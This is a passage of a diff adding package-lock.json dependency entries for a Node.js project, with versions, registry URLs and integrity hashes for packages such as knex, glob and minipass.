+      "integrity": "sha512-V/JgOLFCS+R6Vcq0slCuaeWEdNC3ouDlJMNIsacH2VtALiu9mV4LPrHc5cDl8k5aw6J8jwgWWpiTo5RYhmIzvg==",
+      "requires": {
+        "minipass": "^3.0.0"
+      },
+      "dependencies": {
+        "minipass": {
+          "version": "3.3.6",
+          "resolved": "https://registry.npmjs.org/minipass/-/minipass-3.3.6.tgz",
+          "integrity": "sha512-DxiNidxSEK+tHG6zOIklvNOwm3hvCrbUrdtzY74U6HKTJxvIDfOUL5W5P2Ghd3DTkhhKPYGqeNUIh5qcM4YBfw==",
+          "requires": {
+            "yallist": "^4.0.0"
+          }
+        }
+      }
+    },
+    "fs.realpath": {
+      "version": "1.0.0",
+      "resolved": "https://registry.npmjs.org/fs.realpath/-/fs.realpath-1.0.0.tgz",
+      "integrity": "sha512-OO0pH2lK6a0hZnAdau5ItzHPI6pUlvI7jMVnxUQRtw4owF2wk8lOSabtGDCTP4Ggrg2MbGnWO9X8K1t4+fGMDw=="
+    },
+    "function-bind": {
+      "version": "1.1.1",
+      "resolved": "https://registry.npm.taobao.org/function-bind/download/function-bind-1.1.1.tgz",
+      "integrity": "sha1-pWiZ0+o8m6uHS7l3O3xe3pL0iV0="
+    },
+    "gauge": {
+      "version": "3.0.2",
+      "resolved": "https://registry.npmjs.org/gauge/-/gauge-3.0.2.tgz",
+      "integrity": "sha512-+5J6MS/5XksCuXq++uFRsnUd7Ovu1XenbeuIuNRJxYWjgQbPuFhT14lAvsWfqfAmnwluf1OwMjz39HjfLPci0Q==",
+      "requires": {
+        "aproba": "^1.0.3 || ^2.0.0",
+        "color-support": "^1.1.2",
+        "console-control-strings": "^1.0.0",
+        "has-unicode": "^2.0.1",
+        "object-assign": "^4.1.1",
+        "signal-exit": "^3.0.0",
+        "string-width": "^4.2.3",
+        "strip-ansi": "^6.0.1",
+        "wide-align": "^1.1.2"
+      }
+    },
+    "get-intrinsic": {
+      "version": "1.2.4",
+      "resolved": "https://registry.npmjs.org/get-intrinsic/-/get-intrinsic-1.2.4.tgz",
+      "integrity": "sha512-5uYhsJH8VJBTv7oslg4BznJYhDoRI6waYCxMmCdnTrcCrHA/fCFKoTFz2JKKE0HdDFUF7/oQuhzumXJK7paBRQ==",
+      "requires": {
+        "es-errors": "^1.3.0",
+        "function-bind": "^1.1.2",
+        "has-proto": "^1.0.1",
+        "has-symbols": "^1.0.3",
+        "hasown": "^2.0.0"
+      },
+      "dependencies": {
+        "function-bind": {
+          "version": "1.1.2",
+          "resolved": "https://registry.npmjs.org/function-bind/-/function-bind-1.1.2.tgz",
+          "integrity": "sha512-7XHNxH7qX9xG5mIwxkhumTox/MIRNcOgDrxWsMt2pAr23WHp6MrRlN7FBSFpCpr+oVO0F744iUgR82nJMfG2SA=="
+        }
+      }
+    },
+    "get-package-type": {
+      "version": "0.1.0",
+      "resolved": "https://registry.npmjs.org/get-package-type/-/get-package-type-0.1.0.tgz",
+      "integrity": "sha512-pjzuKtY64GYfWizNAJ0fr9VqttZkNiK2iS430LtIHzjBEr6bX8Am2zm4sW4Ro5wjWW5cAlRL1qAMTcXbjNAO2Q=="
+    },
+    "getopts": {
+      "version": "2.3.0",
+      "resolved": "https://registry.npmjs.org/getopts/-/getopts-2.3.0.tgz",
+      "integrity": "sha512-5eDf9fuSXwxBL6q5HX+dhDj+dslFGWzU5thZ9kNKUkcPtaPdatmUFKwHFrLb/uf/WpA4BHET+AX3Scl56cAjpA=="
+    },
+    "glob": {
+      "version": "7.2.3",
+      "resolved": "https://registry.npmjs.org/glob/-/glob-7.2.3.tgz",
+      "integrity": "sha512-nFR0zLpU2YCaRxwoCJvL6UvCH2JFyFVIvwTLsIf21AuHlMskA1hhTdk+LlYJtOlYt9v6dvszD2BGRqBL+iQK9Q==",
+      "requires": {
+        "fs.realpath": "^1.0.0",
+        "inflight": "^1.0.4",
+        "inherits": "2",
+        "minimatch": "^3.1.1",
+        "once": "^1.3.0",
+        "path-is-absolute": "^1.0.0"
+      }
+    },
+    "gopd": {
+      "version": "1.2.0",
+      "resolved": "https://registry.npmjs.org/gopd/-/gopd-1.2.0.tgz",
+      "integrity": "sha512-ZUKRh6/kUFoAiTAtTYPZJ3hw9wNxx+BIBOijnlG9PnrJsCcSjs1wyyD6vJpaYtgnzDrKYRSqf3OO6Rfa93xsRg=="
+    },
+    "graceful-fs": {
+      "version": "4.2.10",
+      "resolved": "https://registry.npmjs.org/graceful-fs/-/graceful-fs-4.2.10.tgz",
+      "integrity": "sha512-9ByhssR2fPVsNZj478qUUbKfmL0+t5BDVyjShtyZZLiK7ZDAArFFfopyOTj0M05wE2tJPisA4iTnnXl2YoPvOA==",
+      "optional": true
+    },
+    "has": {
+      "version": "1.0.3",
+      "resolved": "https://registry.nlark.com/has/download/has-1.0.3.tgz",
+      "integrity": "sha1-ci18v8H2qoJB8W3YFOAR4fQeh5Y=",
+      "requires": {
+        "function-bind": "^1.1.1"
+      }
+    },
+    "has-property-descriptors": {
+      "version": "1.0.2",
+      "resolved": "https://registry.npmjs.org/has-property-descriptors/-/has-property-descriptors-1.0.2.tgz",
+      "integrity": "sha512-55JNKuIW+vq4Ke1BjOTjM2YctQIvCT7GFzHwmfZPGo5wnrgkid0YQtnAleFSqumZm4az3n2BS+erby5ipJdgrg==",
+      "requires": {
+        "es-define-property": "^1.0.0"
+      }
+    },
+    "has-proto": {
+      "version": "1.1.0",
+      "resolved": "https://registry.npmjs.org/has-proto/-/has-proto-1.1.0.tgz",
+      "integrity": "sha512-QLdzI9IIO1Jg7f9GT1gXpPpXArAn6cS31R1eEZqz08Gc+uQ8/XiqHWt17Fiw+2p6oTTIq5GXEpQkAlA88YRl/Q==",
+      "requires": {
+        "call-bind": "^1.0.7"
+      }
+    },
+    "has-symbols": {
+      "version": "1.1.0",
+      "resolved": "https://registry.npmjs.org/has-symbols/-/has-symbols-1.1.0.tgz",
+      "integrity": "sha512-1cDNdwJ2Jaohmb3sg4OmKaMBwuC48sYni5HUw2DvsC8LjGTLK9h+eb1X6RyuOHe4hT0ULCW68iomhjUoKUqlPQ=="
+    },
+    "has-unicode": {
+      "version": "2.0.1",
+      "resolved": "https://registry.npmjs.org/has-unicode/-/has-unicode-2.0.1.tgz",
+      "integrity": "sha512-8Rf9Y83NBReMnx0gFzA8JImQACstCYWUplepDa9xprwwtmgEZUF0h/i5xSA625zB/I37EtrswSST6OXxwaaIJQ=="
+    },
+    "hasown": {
+      "version": "2.0.2",
+      "resolved": "https://registry.npmjs.org/hasown/-/hasown-2.0.2.tgz",
+      "integrity": "sha512-0hJU9SCPvmMzIBdZFqNPXWa6dqh7WdH0cII9y+CyS8rG3nL48Bclra9HmKhVVUHyPWNH5Y7xDwAB7bfgSjkUMQ==",
+      "requires": {
+        "function-bind": "^1.1.2"
+      },
+      "dependencies": {
+        "function-bind": {
+          "version": "1.1.2",
+          "resolved": "https://registry.npmjs.org/function-bind/-/function-bind-1.1.2.tgz",
+          "integrity": "sha512-7XHNxH7qX9xG5mIwxkhumTox/MIRNcOgDrxWsMt2pAr23WHp6MrRlN7FBSFpCpr+oVO0F744iUgR82nJMfG2SA=="
+        }
+      }
+    },
+    "helmet": {
+      "version": "4.6.0",
+      "resolved": "https://registry.nlark.com/helmet/download/helmet-4.6.0.tgz",
+      "integrity": "sha1-V5lxGWupPFl46wGeTo7A5QB2tN8="
+    },
+    "http-cache-semantics": {
+      "version": "4.1.1",
+      "resolved": "https://registry.npmjs.org/http-cache-semantics/-/http-cache-semantics-4.1.1.tgz",
+      "integrity": "sha512-er295DKPVsV82j5kw1Gjt+ADA/XYHsajl82cGNQG2eyoPkvgUhX+nDIyelzhIWbbsXP39EHcI6l5tYs2FYqYXQ==",
+      "optional": true
+    },
+    "http-errors": {
+      "version": "2.0.0",
+      "resolved": "https://registry.npmjs.org/http-errors/-/http-errors-2.0.0.tgz",
+      "integrity": "sha512-FtwrG/euBzaEjYeRqOgly7G0qviiXoJWnvEH2Z1plBdXgbyjv34pHTSb9zoeHMyDy33+DWy5Wt9Wo+TURtOYSQ==",
+      "requires": {
+        "depd": "2.0.0",
+        "inherits": "2.0.4",
+        "setprototypeof": "1.2.0",
+        "statuses": "2.0.1",
+        "toidentifier": "1.0.1"
+      }
+    },
+    "http-proxy-agent": {
+      "version": "4.0.1",
+      "resolved": "https://registry.npmjs.org/http-proxy-agent/-/http-proxy-agent-4.0.1.tgz",
+      "integrity": "sha512-k0zdNgqWTGA6aeIRVpvfVob4fL52dTfaehylg0Y4UvSySvOq/Y+BOyPrgpUrA7HylqvU8vIZGsRuXmspskV0Tg==",
+      "optional": true,
+      "requires": {
+        "@tootallnate/once": "1",
+        "agent-base": "6",
+        "debug": "4"
+      },
+      "dependencies": {
+        "debug": {
+          "version": "4.3.4",
+          "resolved": "https://registry.npmjs.org/debug/-/debug-4.3.4.tgz",
+          "integrity": "sha512-PRWFHuSU3eDtQJPvnNY7Jcket1j0t5OuOsFzPPzsekD52Zl8qUfFIPEiswXqIvHWGVHOgX+7G/vCNNhehwxfkQ==",
+          "optional": true,
+          "requires": {
+            "ms": "2.1.2"
+          }
+        },
+        "ms": {
+          "version": "2.1.2",
+          "resolved": "https://registry.npmjs.org/ms/-/ms-2.1.2.tgz",
+          "integrity": "sha512-sGkPx+VjMtmA6MX27oA4FBFELFCZZ4S4XqeGOXCv68tT+jb3vk/RyaKWP0PTKyWtmLSM0b+adUTEvbs1PEaH2w==",
+          "optional": true
+        }
+      }
+    },
+    "https-proxy-agent": {
+      "version": "5.0.1",
+      "resolved": "https://registry.npmjs.org/https-proxy-agent/-/https-proxy-agent-5.0.1.tgz",
+      "integrity": "sha512-dFcAjpTQFgoLMzC2VwU+C/CbS7uRL0lWmxDITmqm7C+7F0Odmj6s9l6alZc6AELXhrnggM2CeWSXHGOdX2YtwA==",
+      "requires": {
+        "agent-base": "6",
+        "debug": "4"
+      },
+      "dependencies": {
+        "debug": {
+          "version": "4.3.4",
+          "resolved": "https://registry.npmjs.org/debug/-/debug-4.3.4.tgz",
+          "integrity": "sha512-PRWFHuSU3eDtQJPvnNY7Jcket1j0t5OuOsFzPPzsekD52Zl8qUfFIPEiswXqIvHWGVHOgX+7G/vCNNhehwxfkQ==",
+          "requires": {
+            "ms": "2.1.2"
+          }
+        },
+        "ms": {
+          "version": "2.1.2",
+          "resolved": "https://registry.npmjs.org/ms/-/ms-2.1.2.tgz",
+          "integrity": "sha512-sGkPx+VjMtmA6MX27oA4FBFELFCZZ4S4XqeGOXCv68tT+jb3vk/RyaKWP0PTKyWtmLSM0b+adUTEvbs1PEaH2w=="
+        }
+      }
+    },
+    "humanize-ms": {
+      "version": "1.2.1",
+      "resolved": "https://registry.npmjs.org/humanize-ms/-/humanize-ms-1.2.1.tgz",
+      "integrity": "sha512-Fl70vYtsAFb/C06PTS9dZBo7ihau+Tu/DNCk/OyHhea07S+aeMWpFFkUaXRa8fI+ScZbEI8dfSxwY7gxZ9SAVQ==",
+      "optional": true,
+      "requires": {
+        "ms": "^2.0.0"
+      }
+    },
+    "iconv-lite": {
+      "version": "0.4.24",
+      "resolved": "https://registry.npmjs.org/iconv-lite/-/iconv-lite-0.4.24.tgz",
+      "integrity": "sha512-v3MXnZAcvnywkTUEZomIActle7RXXeedOR31wwl7VlyoXO4Qi9arvSenNQWne1TcRwhCL1HwLI21bEqdpj8/rA==",
+      "requires": {
+        "safer-buffer": ">= 2.1.2 < 3"
+      }
+    },
+    "imurmurhash": {
+      "version": "0.1.4",
+      "resolved": "https://registry.npmjs.org/imurmurhash/-/imurmurhash-0.1.4.tgz",
+      "integrity": "sha512-JmXMZ6wuvDmLiHEml9ykzqO6lwFbof0GG4IkcGaENdCRDDmMVnny7s5HsIgHCbaq0w2MyPhDqkhTUgS2LU2PHA==",
+      "optional": true
+    },
+    "indent-string": {
+      "version": "4.0.0",
+      "resolved": "https://registry.npmjs.org/indent-string/-/indent-string-4.0.0.tgz",
+      "integrity": "sha512-EdDDZu4A2OyIK7Lr/2zG+w5jmbuk1DVBnEwREQvBzspBJkCEbRa8GxU1lghYcaGJCnRWibjDXlq779X1/y5xwg==",
+      "optional": true
+    },
+    "infer-owner": {
+      "version": "1.0.4",
+      "resolved": "https://registry.npmjs.org/infer-owner/-/infer-owner-1.0.4.tgz",
+      "integrity": "sha512-IClj+Xz94+d7irH5qRyfJonOdfTzuDaifE6ZPWfx0N0+/ATZCbuTPq2prFl526urkQd90WyUKIh1DfBQ2hMz9A==",
+      "optional": true
+    },
+    "inflight": {
+      "version": "1.0.6",
+      "resolved": "https://registry.npmjs.org/inflight/-/inflight-1.0.6.tgz",
+      "integrity": "sha512-k92I/b08q4wvFscXCLvqfsHCrjrF7yiXsQuIVvVE7N82W3+aqpzuUdBbfhWcy/FZR3/4IgflMgKLOsvPDrGCJA==",
+      "requires": {
+        "once": "^1.3.0",
+        "wrappy": "1"
+      }
+    },
+    "inherits": {
+      "version": "2.0.4",
+      "resolved": "https://registry.npmjs.org/inherits/-/inherits-2.0.4.tgz",
+      "integrity": "sha512-k/vGaX4/Yla3WzyMCvTQOXYeIHvqOKtnqBduzTHpzpQZzAskKMhZ2K+EnBiSM9zGSoIFeMpXKxa4dYeZIQqewQ=="
+    },
+    "interpret": {
+      "version": "2.2.0",
+      "resolved": "https://registry.npmjs.org/interpret/-/interpret-2.2.0.tgz",
+      "integrity": "sha512-Ju0Bz/cEia55xDwUWEa8+olFpCiQoypjnQySseKtmjNrnps3P+xfpUmGr90T7yjlVJmOtybRvPXhKMbHr+fWnw=="
+    },
+    "ip": {
+      "version": "2.0.1",
+      "resolved": "https://registry.npmjs.org/ip/-/ip-2.0.1.tgz",
+      "integrity": "sha512-lJUL9imLTNi1ZfXT+DU6rBBdbiKGBuay9B6xGSPVjUeQwaH1RIGqef8RZkUtHioLmSNpPR5M4HVKJGm1j8FWVQ==",
+      "optional": true
+    },
+    "ipaddr.js": {
+      "version": "1.9.1",
+      "resolved": "https://registry.npmjs.org/ipaddr.js/-/ipaddr.js-1.9.1.tgz",
+      "integrity": "sha512-0KI/607xoxSToH7GjN1FfSbLoU0+btTicjsQSWQlh/hZykN8KpmMf7uYwPW3R+akZ6R/w18ZlXSHBYXiYUPO3g=="
+    },
+    "is-core-module": {
+      "version": "2.11.0",
+      "resolved": "https://registry.npmjs.org/is-core-module/-/is-core-module-2.11.0.tgz",
+      "integrity": "sha512-RRjxlvLDkD1YJwDbroBHMb+cukurkDWNyHx7D3oNB5x9rb5ogcksMC5wHCadcXoo67gVr/+3GFySh3134zi6rw==",
+      "requires": {
+        "has": "^1.0.3"
+      }
+    },
+    "is-fullwidth-code-point": {
+      "version": "3.0.0",
+      "resolved": "https://registry.npmjs.org/is-fullwidth-code-point/-/is-fullwidth-code-point-3.0.0.tgz",
+      "integrity": "sha512-zymm5+u+sCsSWyD9qNaejV3DFvhCKclKdizYaJUuHA83RLjb7nSuGnddCHGv0hk+KY7BMAlsWeK4Ueg6EV6XQg=="
+    },
+    "is-lambda": {
+      "version": "1.0.1",
+      "resolved": "https://registry.npmjs.org/is-lambda/-/is-lambda-1.0.1.tgz",
+      "integrity": "sha512-z7CMFGNrENq5iFB9Bqo64Xk6Y9sg+epq1myIcdHaGnbMTYOxvzsEtdYqQUylB7LxfkvgrrjP32T6Ywciio9UIQ==",
+      "optional": true
+    },
+    "isexe": {
+      "version": "2.0.0",
+      "resolved": "https://registry.npmjs.org/isexe/-/isexe-2.0.0.tgz",
+      "integrity": "sha512-RHxMLp9lnKHGHRng9QFhRCMbYAcVpn69smSGcq3f36xjgVVWThj4qqLbTLlq7Ssj8B+fIQ1EuCEGI2lKsyQeIw==",
+      "optional": true
+    },
+    "knex": {
+      "version": "2.4.0",
+      "resolved": "https://registry.npmjs.org/knex/-/knex-2.4.0.tgz",
+      "integrity": "sha512-i0GWwqYp1Hs2yvc2rlDO6nzzkLhwdyOZKRdsMTB8ZxOs2IXQyL5rBjSbS1krowCh6V65T4X9CJaKtuIfkaPGSA==",
+      "requires": {
+        "colorette": "2.0.19",
+        "commander": "^9.1.0",
+        "debug": "4.3.4",
+        "escalade": "^3.1.1",
+        "esm": "^3.2.25",
+        "get-package-type": "^0.1.0",
+        "getopts": "2.3.0",
+        "interpret": "^2.2.0",
+        "lodash": "^4.17.21",
+        "pg-connection-string": "2.5.0",
+        "rechoir": "^0.8.0",
+        "resolve-from": "^5.0.0",
+        "tarn": "^3.0.2",
+        "tildify": "2.0.0"
+      },
+      "dependencies": {
+        "debug": {
+          "version": "4.3.4",
+          "resolved": "https://registry.npmjs.org/debug/-/debug-4.3.4.tgz",
+          "integrity": "sha512-PRWFHuSU3eDtQJPvnNY7Jcket1j0t5OuOsFzPPzsekD52Zl8qUfFIPEiswXqIvHWGVHOgX+7G/vCNNhehwxfkQ==",
+          "requires": {
+            "ms": "2.1.2"
+          }
+        },
+        "ms": {
+          "version": "2.1.2",
+          "resolved": "https://registry.npmjs.org/ms/-/ms-2.1.2.tgz",
+          "integrity": "sha512-sGkPx+VjMtmA6MX27oA4FBFELFCZZ4S4XqeGOXCv68tT+jb3vk/RyaKWP0PTKyWtmLSM0b+adUTEvbs1PEaH2w=="
+        }
+      }
+    },
+    "lodash": {
+      "version": "4.17.21",
+      "resolved": "https://registry.npmjs.org/lodash/-/lodash-4.17.21.tgz",
+      "integrity": "sha512-v2kDEe57lecTulaDIuNTPy3Ry4gLGJ6Z1O3vE1krgXZNrsQ+LFTGHVxVjcXPs17LhbZVGedAJv8XZ1tvj5FvSg=="
+    },
+    "lru-cache": {
+      "version": "6.0.0",
+      "resolved": "https://registry.npmjs.org/lru-cache/-/lru-cache-6.0.0.tgz",
+      "integrity": "sha512-Jo6dJ04CmSjuznwJSS3pUeWmd/H0ffTlkXXgwZi+eq1UCmqQwCh+eLsYOYCwY991i2Fah4h1BEMCx4qThGbsiA==",
+      "requires": {
+        "yallist": "^4.0.0"
+      }
+    },
+    "make-dir": {
+      "version": "3.1.0",
+      "resolved": "https://registry.npmjs.org/make-dir/-/make-dir-3.1.0.tgz",
+      "integrity": "sha512-g3FeP20LNwhALb/6Cz6Dd4F2ngze0jz7tbzrD2wAV+o9FeNHe4rL+yK2md0J/fiSf1sa1ADhXqi5+oVwOM/eGw==",
+      "requires": {
+        "semver": "^6.0.0"
+      },
+      "dependencies": {
+        "semver": {
+          "version": "6.3.1",
+          "resolved": "https://registry.npmjs.org/semver/-/semver-6.3.1.tgz",
+          "integrity": "sha512-BR7VvDCVHO+q2xBEWskxS6DJE1qRnb7DxzUrogb71CWoSficBxYsiAGd+Kl0mmq/MprG9yArRkyrQxTO6XjMzA=="
+        }
+      }
+    },
+    "make-fetch-happen": {
+      "version": "9.1.0",
+      "resolved": "https://registry.npmjs.org/make-fetch-happen/-/make-fetch-happen-9.1.0.tgz",
+      "integrity": "sha512-+zopwDy7DNknmwPQplem5lAZX/eCOzSvSNNcSKm5eVwTkOBzoktEfXsa9L23J/GIRhxRsaxzkPEhrJEpE2F4Gg==",
+      "optional": true,
+      "requires": {
+        "agentkeepalive": "^4.1.3",
+        "cacache": "^15.2.0",
+        "http-cache-semantics": "^4.1.0",
+        "http-proxy-agent": "^4.0.1",
+        "https-proxy-agent": "^5.0.0",
+        "is-lambda": "^1.0.1",
+        "lru-cache": "^6.0.0",
+        "minipass": "^3.1.3",
+        "minipass-collect": "^1.0.2",
+        "minipass-fetch": "^1.3.2",
+        "minipass-flush": "^1.0.5",
+        "minipass-pipeline": "^1.2.4",
+        "negotiator": "^0.6.2",
+        "promise-retry": "^2.0.1",
+        "socks-proxy-agent": "^6.0.0",
+        "ssri": "^8.0.0"
+      },
+      "dependencies": {
+        "minipass": {
+          "version": "3.3.6",
+          "resolved": "https://registry.npmjs.org/minipass/-/minipass-3.3.6.tgz",
+          "integrity": "sha512-DxiNidxSEK+tHG6zOIklvNOwm3hvCrbUrdtzY74U6HKTJxvIDfOUL5W5P2Ghd3DTkhhKPYGqeNUIh5qcM4YBfw==",
+          "optional": true,
+          "requires": {
+            "yallist": "^4.0.0"
+          }
+        }
+      }
+    },
+    "media-typer": {
+      "version": "0.3.0",
+      "resolved": "https://registry.npmjs.org/media-typer/-/media-typer-0.3.0.tgz",
+      "integrity": "sha512-dq+qelQ9akHpcOl/gUVRTxVIOkAJ1wR3QAvb4RsVjS8oVoFjDGTc679wJYmUmknUF5HwMLOgb5O+a3KxfWapPQ=="
+    },
+    "merge-descriptors": {
+      "version": "1.0.3",
+      "resolved": "https://registry.npmjs.org/merge-descriptors/-/merge-descriptors-1.0.3.tgz",
+      "integrity": "sha512-gaNvAS7TZ897/rVaZ0nMtAyxNyi/pdbjbAwUpFQpN70GqnVfOiXpeUUMKRBmzXaSQ8DdTX4/0ms62r2K+hE6mQ=="
+    },
+    "methods": {
+      "version": "1.1.2",
+      "resolved": "https://registry.npmjs.org/methods/-/methods-1.1.2.tgz",
+      "integrity": "sha512-iclAHeNqNm68zFtnZ0e+1L2yUIdvzNoauKU4WBA3VvH/vPFieF7qfRlwUZU+DA9P9bPXIS90ulxoUoCH23sV2w=="
+    },
+    "mime": {
+      "version": "1.6.0",
+      "resolved": "https://registry.npmjs.org/mime/-/mime-1.6.0.tgz",
+      "integrity": "sha512-x0Vn8spI+wuJ1O6S7gnbaQg8Pxh4NNHb7KSINmEWKiPE4RKOplvijn+NkmYmmRgP68mc70j2EbeTFRsrswaQeg=="
+    },
+    "mime-db": {
+      "version": "1.48.0",
+      "resolved": "https://registry.nlark.com/mime-db/download/mime-db-1.48.0.tgz",
+      "integrity": "sha1-41sxBF3X6to6qtU37YijOvvvLR0="
+    },
+    "mime-types": {
+      "version": "2.1.31",
+      "resolved": "https://registry.nlark.com/mime-types/download/mime-types-2.1.31.tgz",
+      "integrity": "sha1-oA12t0MXxh+cLbIhi46fjpxcnms=",
+      "requires": {
+        "mime-db": "1.48.0"
+      }
+    },
+    "minimatch": {
+      "version": "3.1.2",
+      "resolved": "https://registry.npmjs.org/minimatch/-/minimatch-3.1.2.tgz",
+      "integrity": "sha512-J7p63hRiAjw1NDEww1W7i37+ByIrOWO5XQQAzZ3VOcL0PNybwpfmV/N05zFAzwQ9USyEcX6t3UO+K5aqBQOIHw==",
+      "requires": {
+        "brace-expansion": "^1.1.7"
+      }
+    },
+    "minipass-collect": {
+      "version": "1.0.2",
+      "resolved": "https://registry.npmjs.org/minipass-collect/-/minipass-collect-1.0.2.tgz",
+      "integrity": "sha512-6T6lH0H8OG9kITm/Jm6tdooIbogG9e0tLgpY6mphXSm/A9u8Nq1ryBG+Qspiub9LjWlBPsPS3tWQ/Botq4FdxA==",
+      "optional": true,
+      "requires": {
+        "minipass": "^3.0.0"
+      },
+      "dependencies": {
+        "minipass": {
+          "version": "3.3.6",
+          "resolved": "https://registry.npmjs.org/minipass/-/minipass-3.3.6.tgz",
+          "integrity": "sha512-DxiNidxSEK+tHG6zOIklvNOwm3hvCrbUrdtzY74U6HKTJxvIDfOUL5W5P2Ghd3DTkhhKPYGqeNUIh5qcM4YBfw==",
+          "optional": true,
+          "requires": {
+            "yallist": "^4.0.0"
+          }
+        }
+      }
+    },
+    "minipass-fetch": {
+      "version": "1.4.1",
+      "resolved": "https://registry.npmjs.org/minipass-fetch/-/minipass-fetch-1.4.1.tgz",
+      "integrity": "sha512-CGH1eblLq26Y15+Azk7ey4xh0J/XfJfrCox5LDJiKqI2Q2iwOLOKrlmIaODiSQS8d18jalF6y2K2ePUm0CmShw==",
+      "optional": true,
+      "requires": {
+        "encoding": "^0.1.12",
+        "minipass": "^3.1.0",
+        "minipass-sized": "^1.0.3",
+        "minizlib": "^2.0.0"
+      },
+      "dependencies": {
+        "minipass": {
+          "version": "3.3.6",
+          "resolved": "https://registry.npmjs.org/minipass/-/minipass-3.3.6.tgz",
+          "integrity": "sha512-DxiNidxSEK+tHG6zOIklvNOwm3hvCrbUrdtzY74U6HKTJxvIDfOUL5W5P2Ghd3DTkhhKPYGqeNUIh5qcM4YBfw==",
+          "optional": true,
+          "requires": {
+            "yallist": "^4.0.0"
+          }
+        }
+      }
+    },
+    "minipass-flush": {
+      "version": "1.0.5",
+      "resolved": "https://registry.npmjs.org/minipass-flush/-/minipass-flush-1.0.5.tgz",
+      "integrity": "sha512-JmQSYYpPUqX5Jyn1mXaRwOda1uQ8HP5KAT/oDSLCzt1BYRhQU0/hDtsB1ufZfEEzMZ9aAVmsBw8+FWsIXlClWw==",
+      "optional": true,
+      "requires": {
+        "minipass": "^3.0.0"
+      },
+      "dependencies": {
+        "minipass": {
+          "version": "3.3.6",
+          "resolved": "https://registry.npmjs.org/minipass/-/minipass-3.3.6.tgz",
+          "integrity": "sha512-DxiNidxSEK+tHG6zOIklvNOwm3hvCrbUrdtzY74U6HKTJxvIDfOUL5W5P2Ghd3DTkhhKPYGqeNUIh5qcM4YBfw==",
+          "optional": true,
+          "requires": {
+            "yallist": "^4.0.0"
+          }
+        }
+      }
+    },
+    "minipass-pipeline": {
+      "version": "1.2.4",
+      "resolved": "https://registry.npmjs.org/minipass-pipeline/-/minipass-pipeline-1.2.4.tgz",
+      "integrity": "sha512-xuIq7cIOt09RPRJ19gdi4b+RiNvDFYe5JH+ggNvBqGqpQXcru3PcRmOZuHBKWK1Txf9+cQ+HMVN4d6z46LZP7A==",
+      "optional": true,
+      "requires": {
+        "minipass": "^3.0.0"
+      },
+      "dependencies": {
+        "minipass": {
+          "version": "3.3.6",
+          "resolved": "https://registry.npmjs.org/minipass/-/minipass-3.3.6.tgz",
+          "integrity": "sha512-DxiNidxSEK+tHG6zOIklvNOwm3hvCrbUrdtzY74U6HKTJxvIDfOUL5W5P2Ghd3DTkhhKPYGqeNUIh5qcM4YBfw==",
+          "optional": true,
+          "requires": {
+            "yallist": "^4.0.0"
+          }
+        }
+      }
+    },
+    "minipass-sized": {
+      "version": "1.0.3",
+      "resolved": "https://registry.npmjs.org/minipass-sized/-/minipass-sized-1.0.3.tgz",
+      "integrity": "sha512-MbkQQ2CTiBMlA2Dm/5cY+9SWFEN8pzzOXi6rlM5Xxq0Yqbda5ZQy9sU75a673FE9ZK0Zsbr6Y5iP6u9nktfg2g==",
+      "optional": true,
+      "requires": {
+        "minipass": "^3.0.0"
+      },
+      "dependencies": {
+        "minipass": {
+          "version": "3.3.6",
+          "resolved": "https://registry.npmjs.org/minipass/-/minipass-3.3.6.tgz",
+          "integrity": "sha512-DxiNidxSEK+tHG6zOIklvNOwm3hvCrbUrdtzY74U6HKTJxvIDfOUL5W5P2Ghd3DTkhhKPYGqeNUIh5qcM4YBfw==",
+          "optional": true,
+          "requires": {
+            "yallist": "^4.0.0"
+          }
+        }
+      }
+    },
+    "minizlib": {
+      "version": "2.1.2",
+      "resolved": "https://registry.npmjs.org/minizlib/-/minizlib-2.1.2.tgz",
+      "integrity": "sha512-bAxsR8BVfj60DWXHE3u30oHzfl4G7khkSuPW+qvpd7jFRHm7dLxOjUk1EHACJ/hxLY8phGJ0YhYHZo7jil7Qdg==",
+      "requires": {
+        "minipass": "^3.0.0",
+        "yallist": "^4.0.0"
+      },
+      "dependencies": {
+        "minipass": {
+          "version": "3.3.6",
+          "resolved": "https://registry.npmjs.org/minipass/-/minipass-3.3.6.tgz",
+          "integrity": "sha512-DxiNidxSEK+tHG6zOIklvNOwm3hvCrbUrdtzY74U6HKTJxvIDfOUL5W5P2Ghd3DTkhhKPYGqeNUIh5qcM4YBfw==",
+          "requires": {
+            "yallist": "^4.0.0"
+          }
+        }
+      }
+    },
+    "mkdirp": {
+      "version": "1.0.4",
+      "resolved": "https://registry.npmjs.org/mkdirp/-/mkdirp-1.0.4.tgz",
+      "integrity": "sha512-vVqVZQyf3WLx2Shd0qJ9xuvqgAyKPLAiqITEtqW0oIUjzo3PePDd6fW9iFz30ef7Ysp/oiWqbhszeGWW2T6Gzw=="
+    },
+    "ms": {
+      "version": "2.0.0",
+      "resolved": "https://registry.npm.taobao.org/ms/download/ms-2.0.0.tgz?cache=0&sync_timestamp=1607433856030&other_urls=https%3A%2F%2Fregistry.npm.taobao.org%2Fms%2Fdownload%2Fms-2.0.0.tgz",
+      "integrity": "sha1-VgiurfwAvmwpAd9fmGF4jeDVl8g="
+    },
+    "negotiator": {
+      "version": "0.6.2",
+      "resolved": "https://registry.npm.taobao.org/negotiator/download/negotiator-0.6.2.tgz",
+      "integrity": "sha1-/qz3zPUlp3rpY0Q2pkiD/+yjRvs="
+    },
+    "node-addon-api": {
+      "version": "4.3.0",
+      "resolved": "https://registry.npmjs.org/node-addon-api/-/node-addon-api-4.3.0.tgz",
+      "integrity": "sha512-73sE9+3UaLYYFmDsFZnqCInzPyh3MqIwZO9cw58yIqAZhONrrabrYyYe3TuIqtIiOuTXVhsGau8hcrhhwSsDIQ=="
+    },
+    "node-fetch": {
+      "version": "2.6.9",
+      "resolved": "https://registry.npmjs.org/node-fetch/-/node-fetch-2.6.9.tgz",
+      "integrity": "sha512-DJm/CJkZkRjKKj4Zi4BsKVZh3ValV5IR5s7LVZnW+6YMh0W1BfNA8XSs6DLMGYlId5F3KnA70uu2qepcR08Qqg==",
+      "requires": {
+        "whatwg-url": "^5.0.0"
+      }
+    },
+    "node-gyp": {
+      "version": "8.4.1",
+      "resolved": "https://registry.npmjs.org/node-gyp/-/node-gyp-8.4.1.tgz",
+      "integrity": "sha512-olTJRgUtAb/hOXG0E93wZDs5YiJlgbXxTwQAFHyNlRsXQnYzUaF2aGgujZbw+hR8aF4ZG/rST57bWMWD16jr9w==",
+      "optional": true,
+      "requires": {
+        "env-paths": "^2.2.0",
+        "glob": "^7.1.4",
+        "graceful-fs": "^4.2.6",
+        "make-fetch-happen": "^9.1.0",
+        "nopt": "^5.0.0",
